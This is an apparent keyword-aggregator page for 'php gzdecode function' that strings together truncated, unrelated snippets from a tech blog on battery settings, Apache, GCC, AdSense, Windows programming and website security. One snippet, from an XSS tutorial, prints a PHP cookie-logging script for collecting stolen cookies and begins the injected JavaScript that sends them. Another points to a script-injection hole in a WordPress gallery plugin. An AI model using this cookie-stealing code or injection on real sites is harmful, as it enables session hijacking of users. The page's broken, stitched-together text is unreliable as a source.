03 Jan, 2011
Php gzdecode function
Articles related to php gzdecode function
http://digitalpbk.com/hardware/sony-vaio-enable-battery-care-function-improve-battery-life
How to Enable/Disable Battery care
function on Sony Vaio to improve Battery life.
Sony Vaio Battery care
function increases your battery life time and battery back up in the long run by limiting the max capacity of the battery to 80% or 50%. This means the battery would only be charged to 80% in each charge-discharge cycle. The backup would be lower in the beginning, but in the long run average battery backup would be more. Thus the battery capacity is not utilized fully.
Battery life ...
Published 1 year, 9 months ago
http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html
FTPCHK3 : Virus that adds malicious scripts to your website.
IntroThis virus changes all your web files,
php, html javascript and tpl files in prominent CMS systems to add a malicious script into your site. This injection allows the attacker to remotely execute
PHP code on your website if the
php infected code is running on your pages. Its supposedly called Bagle. But who cares about the name? It's nasty and start fixing.How it got in ?This can be due to potential security holes in your FTP ...
Published 2 years, 3 months ago
http://digitalpbk.blogspot.com/2006/12/xss-part-2-cookie-stealing-and.html
in javascript is accomplished by document.cookie, if somehow we could sent this to our page we have success. For this trick you will need to setup a page that logs the cookies that it recieves. The source of this page in
php would be something like :
grabcookie.php$handle=fopen("cookiejar.txt","a");fputs($handle,"\n".$_GET["cookie"]."\n");fclose($handle);?>Now to get the cookie to this page we would have to embed the followingvar i=new Image ...
Published 5 years, 1 month ago
http://digitalpbk.blogspot.com/2007/12/virtual-hosts-apache-226-windows.html
VirtualHost section is used for all requests that do not# match a ServerName or ServerAlias in any block.# ServerName localhost DocumentRoot "F:/webs/localhost" DirectoryIndex index.
php index.html index.htm index.shtml DocumentRoot "F:/webs/kitiyo.com" ServerName pp.com DirectoryIndex index.
php index.html index.htm index.shtmlIn the above example shows localhost and kitiyo.com host on same server.Remember to add the sites in the hosts file. ...
Published 4 years, 2 months ago
http://digitalpbk.blogspot.com/2009/07/wordpress-nextgen-gallery-xss.html
sites are printed directly onto the html tag on the pages. So if you try something likenext-gen-gallery/?album=1&pid;=3&gallery=2(XSS HOLE CAN BE HERE)the Title becomes Picture 3 « Album 1 « Gallery 2(XSS HOLE CAN BE HERE) « Next Gen Gallery « xxxxxxxxxxx WordPress DemoSo we can insert our own custom HTML into the get query to include harmless HTML tags and dangerous SCRIPT tags to allow for Cross Site Scripting. Since Wordpress is in
PHP, by default ...
Published 2 years, 6 months ago
http://digitalpbk.blogspot.com/2007/09/windows-and-c-programming.html
. A Window can have many child windows, parent window, and many other windows on the same level.Getting Started to Windows Programming in C(++)?A minimal Windows program must have atleast 2
functionsWinMain()WindowFunc()the WinMain()
FunctionThe WinMain()
function is the entry point to your program, i.e, the execution of your program starts with WinMain().int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpszArgs,int WinMode)The WinMain
function must Define a window class ...
Published 4 years, 4 months ago
http://digitalpbk.blogspot.com/2007/04/installing-gcc-for-linux-fedora-core-6.html
Installing GCC for Linux (Fedora Core 6)
IntroductionPhew! Here are the steps for installing the GNU C Compiler (GCC) for Linux in Fedora Core 6 .StepsDownload the following files : libgomp-4.1.1-30.i386.rpmglibc-headers-2.5-3.i386.rpmglibc-devel-2.5-3.i386.rpmgcc-4.1.1-30.i386.rpmYou can get the above files by searching for the above files on http://rpmfind.net/linux/rpm2html/search.
phpInstall the rpm's , open the console : [.....]# rpm -Uvh libgomp-4.1.1-30.i386.rpm..[.....]# rpm -Uvh ...
Published 4 years, 10 months ago
http://digitalpbk.com/adsense-analytics/how-integrate-google-analytics-tracking-and-adsense
the following script on the head.
window.google_analytics_uacct = "UA-XXXXXX-X";
Replace XXXXXX-X with your analytics tracking ID which you can obtain from the analytics tracking script or from the analytics setting page as shown in the image below.
Then goto the analytics settings page, and click the link highlighted below Edit Adsense linking settings
Adsense on analytics screenshot
On Drupal
You can set the header in code by drupal_set_html_head or add in the page.tpl.
php ...
Published 2 years, 2 months ago
http://digitalpbk.blogspot.com/2007/01/making-any-window-transparent-on-xp.html
_EX_LAYERED = &H80000;Const GWL_STYLE = (-16)Const WS_VISIBLE = &H10000000;Const LWA_ALPHA = &H2; Private Declare
Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As LongPrivate Declare
Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As LongPrivate Declare
Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerPrivate Declare
Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long ...
Published 5 years ago
http://digitalpbk.com/perl/solve-netmysql-hang-problem-if-database-result-has-only-1-row-or-empty
. If the result set is having just one row MySQL returns FE 00 00 02 00. The
function on Net::MySQL package checks for end of packet and fails to find if the result set has only 1 row.
# Line 460
sub _has_next_packet
{
my $self = shift;
return substr($_[0], -5) ne "\xfe\0\0\x22\x00";
}
Thus the Perl module loops back and waits for more data from the server, thus the blocking socket call to recv
makes the script hang.
Solve Net::MySQL Hanging Problem
In order to solve this problem use ...
Published 1 year, 10 months ago
Related help topics for php gzdecode function
More keywords like php gzdecode function
More pages for php gzdecode function